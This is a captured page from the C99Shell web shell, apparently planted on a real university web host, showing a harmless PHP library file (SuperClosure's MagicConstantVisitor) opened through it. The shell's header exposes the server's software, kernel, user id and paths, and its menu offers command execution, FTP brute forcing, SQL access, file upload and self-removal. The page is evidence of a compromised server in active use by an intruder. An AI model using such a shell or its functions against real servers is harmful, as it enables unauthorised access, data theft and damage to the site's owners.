!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/jeremeamia/SuperClosure/src/Analyzer/Visitor/   drwxr-xr-x
Free 116.8 GB of 200.55 GB (58.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MagicConstantVisitor.php (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php namespace SuperClosure\Analyzer\Visitor;

use 
PhpParser\Node\Scalar\LNumber as NumberNode;
use 
PhpParser\Node\Scalar\String_ as StringNode;
use 
PhpParser\Node as AstNode;
use 
PhpParser\NodeVisitorAbstract as NodeVisitor;

/**
 * This is a visitor that resolves magic constants (e.g., __FILE__) to their
 * intended values within a closure's AST.
 *
 * @internal
 */
final class MagicConstantVisitor extends NodeVisitor
{
    
/**
     * @var array
     */
    
private $location;

    
/**
     * @param array $location
     */
    
public function __construct(array $location)
    {
        
$this->location $location;
    }

    public function 
leaveNode(AstNode $node)
    {
        switch (
$node->getType()) {
            case 
'Scalar_MagicConst_Class' :
                return new 
StringNode($this->location['class']);
            case 
'Scalar_MagicConst_Dir' :
                return new 
StringNode($this->location['directory']);
            case 
'Scalar_MagicConst_File' :
                return new 
StringNode($this->location['file']);
            case 
'Scalar_MagicConst_Function' :
                return new 
StringNode($this->location['function']);
            case 
'Scalar_MagicConst_Line' :
                return new 
NumberNode($node->getAttribute('startLine'));
            case 
'Scalar_MagicConst_Method' :
                return new 
StringNode($this->location['method']);
            case 
'Scalar_MagicConst_Namespace' :
                return new 
StringNode($this->location['namespace']);
            case 
'Scalar_MagicConst_Trait' :
                return new 
StringNode($this->location['trait']);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0142 ]--